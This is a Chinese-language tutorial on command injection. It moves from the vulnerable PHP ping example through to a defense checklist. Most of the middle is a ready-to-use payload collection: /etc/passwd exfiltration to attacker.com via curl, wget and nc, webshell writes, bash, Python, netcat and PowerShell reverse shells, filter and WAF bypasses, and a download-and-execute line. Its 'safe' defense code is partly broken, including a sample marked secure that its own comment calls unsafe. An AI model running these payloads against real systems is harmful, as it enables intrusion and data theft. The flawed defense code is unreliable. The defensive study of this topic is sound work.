云计算百科
云计算领域专业知识百科平台

【网络安全】命令注入:从原理到服务器沦陷实战

 前言

在Web安全领域,如果说文件上传漏洞需要“绕过多道关卡”才能GetShell,那么命令注入(Command Injection)就是一条直达服务器控制权的高速公路。攻击者通过将恶意系统命令拼接到服务器执行的命令中,可以直接在目标服务器上执行任意操作系统命令,实现瞬间沦陷。

本文将系统梳理命令注入的原理、利用手法、绕过技巧以及防御方案,帮助你掌握从注入到服务器控制的完整攻击链。

 1. 什么是命令注入?

命令注入是指Web应用在调用操作系统命令时,未对用户输入进行严格过滤,导致攻击者可以通过特殊字符拼接恶意命令,在服务器上执行任意系统命令。

 1.1 一句话理解

> 网站有一个功能:输入IP地址,执行`ping`命令检测网络连通性。

> 我输入:`127.0.0.1 && whoami`

> 服务器执行的命令变成:`ping -c 4 127.0.0.1 && whoami`

> 服务器返回了当前用户名,我获得了命令执行权限。

 1.2 为什么会出现命令注入?

命令注入的根本原因在于:开发人员使用系统命令处理用户输入,且未对输入进行严格过滤。常见的危险函数包括:

| 语言 | 危险函数 |

| PHP | `system()`、`exec()`、`shell_exec()`、`passthru()`、`popen()` |

| Java | `Runtime.exec()`、`ProcessBuilder` |

| Python | `os.system()`、`subprocess.call()`、`subprocess.Popen()` |

| Node.js | `child_process.exec()`、`child_process.spawn()` |

 1.3 常见存在命令注入的功能点

| 功能类型 | 典型场景 | 示例 |

| 网络检测 | Ping、Traceroute、DNS查询 | 输入IP执行ping命令 |

| 系统监控 | 查看进程、磁盘使用率 | 执行`ps`、`df`命令 |

| 文件操作 | 压缩/解压、文件转换 | 调用系统压缩工具 |

| 邮件发送 | 调用`sendmail` | 拼接邮件地址 |

| 数据库备份 | 调用`mysqldump` | 导出数据库 |

php

// ⚠️ 危险代码示例:直接拼接用户输入

$ip = $_GET['ip'];

$output = shell_exec("ping -c 4 " . $ip);

echo "<pre>$output</pre>";

 2. 命令注入的分类

 2.1 按结果是否回显分类

| 类型 | 说明 | 利用难度 |

| 有回显 | 命令执行结果直接返回给用户 | 简单 |

| 无回显(盲注) | 命令执行结果不返回,需通过其他方式获取 | 中等 |

| 延迟注入 | 通过响应时间判断命令执行情况 | 复杂 |

 2.2 按注入位置分类

| 类型 | 示例 |

| 参数注入 | `?ip=127.0.0.1` |

| POST数据注入 | 表单提交 |

| Cookie注入 | Cookie中包含恶意命令 |

| HTTP头注入 | User-Agent、Referer等 |

 3. 命令连接符详解

掌握命令连接符是命令注入的基础:

| 连接符 | 含义 | 示例 | 效果 |

| `;` | 顺序执行 | `cmd1; cmd2` | 执行cmd1,然后执行cmd2 |

| `&&` | 逻辑与 | `cmd1 && cmd2` | cmd1成功后才执行cmd2 |

| `\\|\\|` | 逻辑或 | `cmd1 \\|\\| cmd2` | cmd1失败才执行cmd2 |

| `\\|` | 管道符 | `cmd1 \\| cmd2` | 将cmd1的输出作为cmd2的输入 |

| `\\n` | 换行符 | `cmd1 \\n cmd2` | 换行执行新命令 |

| `` ` ` `` | 反引号 | `` `cmd1` `` | 执行cmd1并返回结果 |

| `$()` | 命令替换 | `$(cmd1)` | 执行cmd1并返回结果 |

 3.1 不同系统的命令分隔符

| 系统 | 分隔符 |

| Windows | `&`、`&&`、`\\|`、`\\|\\|`、`;` |

| Linux/Unix | `;`、`&&`、`\\|`、`\\|\\|`、`\\n`、`` ` ``、`$()` |

 4. 命令注入的利用手法

 4.1 基础探测

首先确认是否存在命令注入漏洞:

text

 测试1:直接执行命令

127.0.0.1; whoami

 测试2:使用逻辑与

127.0.0.1 && whoami

 测试3:使用管道

127.0.0.1 | whoami

 测试4:命令替换

127.0.0.1 $(whoami)

127.0.0.1 `whoami`

判断方法:

– 如果返回了 `whoami` 的执行结果 → 存在命令注入

– 如果页面报错或有延迟 → 可能存在

 4.2 有回显命令执行

当命令执行结果直接返回时,可以执行任意系统命令:

```text

 Linux

127.0.0.1; id

127.0.0.1; cat /etc/passwd

127.0.0.1; ls -la /var/www/html

 Windows

127.0.0.1 & whoami

127.0.0.1 & type C:\\Windows\\win.ini

127.0.0.1 & dir C:\\

 4.3 无回显命令执行(盲注)

当命令执行结果不返回时,需要通过其他方式获取:

 4.3.1 DNS外带数据

text

 Linux

127.0.0.1; nslookup `whoami`.attacker.com

127.0.0.1; curl http://attacker.com/`whoami`

 Windows

127.0.0.1 & nslookup %username%.attacker.com

127.0.0.1 & powershell Invoke-WebRequest -Uri "http://attacker.com/$env:username"

 4.3.2 HTTP外带数据

```bash

 使用curl

127.0.0.1; curl http://attacker.com/?data=$(cat /etc/passwd | base64)

 使用wget

127.0.0.1; wget –post-data="$(cat /etc/passwd)" http://attacker.com

 使用nc

127.0.0.1; cat /etc/passwd | nc attacker.com 4444

 4.3.3 写入Webshell

bash

 写入PHP一句话木马

127.0.0.1; echo '<?php @eval($_POST["cmd"]);?>' > /var/www/html/shell.php

 写入JSP木马

127.0.0.1; echo '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>' > /var/www/html/shell.jsp

 4.3.4 时间盲注

bash

 Linux:通过延迟判断

127.0.0.1; sleep 5

 Windows

127.0.0.1 & timeout 5

 4.4 反弹Shell(核心利用)

反弹Shell是命令注入中最有威力的利用方式,可绕过防火墙限制。

 4.4.1 Bash反弹Shell

```bash

 攻击者监听

nc -lvnp 4444

 目标执行

127.0.0.1; bash -i >& /dev/tcp/攻击者IP/4444 0>&1

 4.4.2 Python反弹Shell

bash

127.0.0.1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

 4.4.3 Netcat反弹Shell

bash

 有nc命令

127.0.0.1; nc -e /bin/bash 攻击者IP 4444

 没有-e参数的情况

127.0.0.1; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 攻击者IP 4444 > /tmp/f

 4.4.4 PowerShell反弹Shell(Windows)

bash

127.0.0.1 & powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('攻击者IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

 4.5 命令注入进阶利用

 4.5.1 绕过空格过滤

当空格被过滤时,可以使用以下替代方式:

bash

 使用$IFS(Internal Field Separator)

127.0.0.1; cat${IFS}/etc/passwd

 使用制表符

127.0.0.1; cat%09/etc/passwd

 使用花括号扩展

127.0.0.1; {cat,/etc/passwd}

 使用重定向

127.0.0.1; cat</etc/passwd

 4.5.2 绕过关键字过滤

bash

 使用通配符

127.0.0.1; /???/c?t /???/p?ss??

 解释:/bin/cat /etc/passwd

 使用变量拼接

127.0.0.1; a=c;b=at; $a$b /etc/passwd

 使用反斜杠

127.0.0.1; c\\at /etc/passwd

 使用引号

127.0.0.1; c"a"t /etc/passwd

 使用Base64编码

127.0.0.1; echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash

 4.5.3 绕过黑名单

bash

 使用编码

127.0.0.1; $(printf "\\x63\\x61\\x74") /etc/passwd

 使用命令替换

127.0.0.1; $(echo cat) /etc/passwd

 5. 命令注入的绕过技巧

 5.1 空格绕过

| 绕过方式 | 示例 |

| `${IFS}` | `cat${IFS}/etc/passwd` |

| `%09`(制表符) | `cat%09/etc/passwd` |

| `%20`(空格) | `cat%20/etc/passwd` |

| 重定向 | `cat</etc/passwd` |

| 花括号 | `{cat,/etc/passwd}` |

 5.2 关键字绕过

| 绕过方式 | 示例 |

| 通配符 | `/???/c?t /???/p?ss??` |

| 反斜杠 | `c\\at /etc/passwd` |

| 单引号 | `c'a't /etc/passwd` |

| 双引号 | `c"a"t /etc/passwd` |

| 变量拼接 | `a=c;b=at;$a$b /etc/passwd` |

| Base64 | `echo 'Y2F0' \\| base64 -d` |

 5.3 编码绕过

```bash

 十六进制编码

127.0.0.1; $(printf "\\x63\\x61\\x74") /etc/passwd

 八进制编码

127.0.0.1; $(printf "\\143\\141\\164") /etc/passwd

 URL编码(部分场景)

127.0.0.1%3Bcat%20/etc/passwd

 5.4 截断绕过

bash

 注释符截断(部分系统)

127.0.0.1; cat /etc/passwd  后面的内容被忽略

 换行符截断

127.0.0.1; cat /etc/passwd%0a

 6. 命令注入与常见WAF绕过

 6.1 拼接绕过

bash

 将命令拆分成多段

127.0.0.1; c\\

at /et\\

c/passwd

 6.2 利用环境变量

```bash

 从环境变量中获取字符

127.0.0.1; ${PATH:0:1}at /etc/passwd

 ${PATH:0:1} 取PATH第一个字符,通常是 '/'

 6.3 利用通配符技巧

bash

 利用*通配符

127.0.0.1; /???/?????? /???/???????

 可能匹配到 /usr/bin/curl /etc/passwd

```

 7. 防御方案

 7.1 避免使用系统命令(核心防御)

最佳实践:尽量使用内置函数替代系统命令。

php

// ❌ 危险:使用系统命令

$output = shell_exec("ping -c 4 " . $ip);

// ✅ 安全:使用内置函数

$output = exec("ping", $ip);  // 仍不安全

// 更好的方案:使用PHP的socket函数自己实现ping

7.2 输入过滤与转义

如果必须使用系统命令,严格过滤用户输入:

php

// 白名单校验

$allowed_ips = ['8.8.8.8', '1.1.1.1'];

if (!in_array($ip, $allowed_ips)) {

    die('Invalid IP');

}

// 转义特殊字符

$ip = escapeshellarg($_GET['ip']);

$output = shell_exec("ping -c 4 " . $ip);

```

PHP转义函数:

– `escapeshellarg()`:转义参数

– `escapeshellcmd()`:转义命令

 7.3 白名单校验

python

import re

def validate_ip(ip):

     仅允许IP地址格式

    pattern = r'^(\\d{1,3}\\.){3}\\d{1,3}$'

    if not re.match(pattern, ip):

        raise Exception('Invalid IP format')

   

     检查是否为内网IP

    parts = ip.split('.')

    if parts[0] in ['127', '10'] or parts[0] == '172' and 16 <= int(parts[1]) <= 31 or parts[0] == '192' and parts[1] == '168':

        raise Exception('Internal IP not allowed')

    return True

ip = validate_ip(user_input)

7.4 最小权限原则

– Web服务使用低权限账户运行(非root)

– 限制Web用户可执行的命令范围

– 使用容器或沙箱隔离

 7.5 命令执行监控

python

import subprocess

 记录所有命令执行日志

def safe_execute(command, user_input):

     记录日志

    with open('/var/log/cmd_exec.log', 'a') as f:

        f.write(f"{time.time()}: {command} from user: {user_input}\\n")

   

     执行命令

    return subprocess.run(command, shell=True, capture_output=True)

8. 真实案例分析

 案例1:某CMS命令注入(CVE-2021-XXXX)

漏洞点:后台模板编辑功能,允许编辑模板文件

Payload:

```text

{php}system('whoami');{/php}

影响:攻击者可执行任意系统命令,获取服务器权限

 案例2:某网络设备命令注入

漏洞点:Ping功能未过滤输入

Payload:

```text

127.0.0.1; wget http://恶意IP/shell.sh; chmod +x shell.sh; ./shell.sh

影响:下载并执行恶意脚本,设备被控

9. 命令注入检测与防护总结

9.1 检测思路

| 检测阶段 | 检测方法 |

|———-|———-|

| 静态代码审计 | 搜索危险函数(system、exec、shell_exec等) |

| 动态扫描 | 使用工具扫描注入点 |

| 流量检测 | 检测异常系统命令调用 |

| 主机检测 | 监控异常进程创建 |

9.2 安全开发Checklist

– [ ] 避免使用系统命令:优先使用语言内置函数

– [ ] 严格输入过滤:使用白名单限制可输入内容

– [ ] 参数转义:使用`escapeshellarg()`等函数

– [ ] 最小权限:Web服务使用低权限账户

– [ ] 命令监控:记录所有命令执行日志

– [ ] 使用沙箱:隔离命令执行环境

– [ ] WAF防护:部署Web应用防火墙

 结语

命令注入是Web安全领域最直接的GetShell方式之一。它的危害在于:一旦成功,攻击者瞬间获得服务器控制权,可以执行任意操作,包括数据窃取、勒索软件部署、内网横向移动等。

防御命令注入的核心原则:

– 能不用系统命令就不用

– 必须用则白名单优先

– 输入过滤+参数转义双保险

– 最小权限+沙箱隔离

掌握命令注入,你不仅能在渗透测试中快速获取服务器权限,更能在开发工作中构建起坚固的命令执行防线。每一行系统调用都可能是攻击者的跳板,安全需要贯穿代码的每一个角落。

赞(0)
未经允许不得转载:网硕互联帮助中心 » 【网络安全】命令注入:从原理到服务器沦陷实战
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!